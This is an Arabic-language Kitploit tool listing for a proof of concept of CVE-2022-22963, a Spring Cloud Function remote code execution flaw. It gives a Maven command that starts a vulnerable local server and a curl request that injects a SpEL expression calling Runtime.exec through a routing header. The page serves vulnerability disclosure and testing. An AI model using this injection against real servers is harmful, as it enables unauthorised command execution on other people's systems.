Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2022-22963-PoC — إثبات مفهوم بسيط لثغرة CVE-2022-22963 لتنفيذ أوامر عن بُعد في Spring Cloud Function عبر حقن SpEL. يوضح الاستغلال باستخدام curl وخادم ضعيف. | Kitploit
أدوات/GitHubGitHub/kirill89/cve-2022-22963-poc
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراق
GitHubkirill89/cve-2022-22963-poc

CVE-2022-22963-PoC

إثبات مفهوم بسيط لثغرة CVE-2022-22963 لتنفيذ أوامر عن بُعد في Spring Cloud Function عبر حقن SpEL. يوضح الاستغلال باستخدام curl وخادم ضعيف.

عرض المستودع
931منذ 4 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2022-22963 RCE PoC

مثال بسيط لإعادة إنتاج تنفيذ التعليمات البرمجية عن بُعد (RCE) في CVE-2022-22963 عبر org.springframework.cloud:spring-cloud-function-core.

الاستغلال

تشغيل الخادم

root@kitploit:~
mvn spring-boot:run

إرسال طلب

root@kitploit:~
curl -X POST -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch PWNED")' -d xxx http://127.0.0.1:8080/functionRouter

نتيجةً للاستغلال، سيتم إنشاء الملف PWNED بجوار pom.xml.

معلومات إضافية

  • النشرة الأصلية: https://tanzu.vmware.com/security/cve-2022-22963
  • نشرة Snyk: https://security.snyk.io/vuln/SNYK-JAVA-ORGSPRINGFRAMEWORKCLOUD-2436645
  • يستند هذا PoC إلى: https://github.com/Pizz33/Spring-Cloud-Function-SpEL
تنزيل الأداة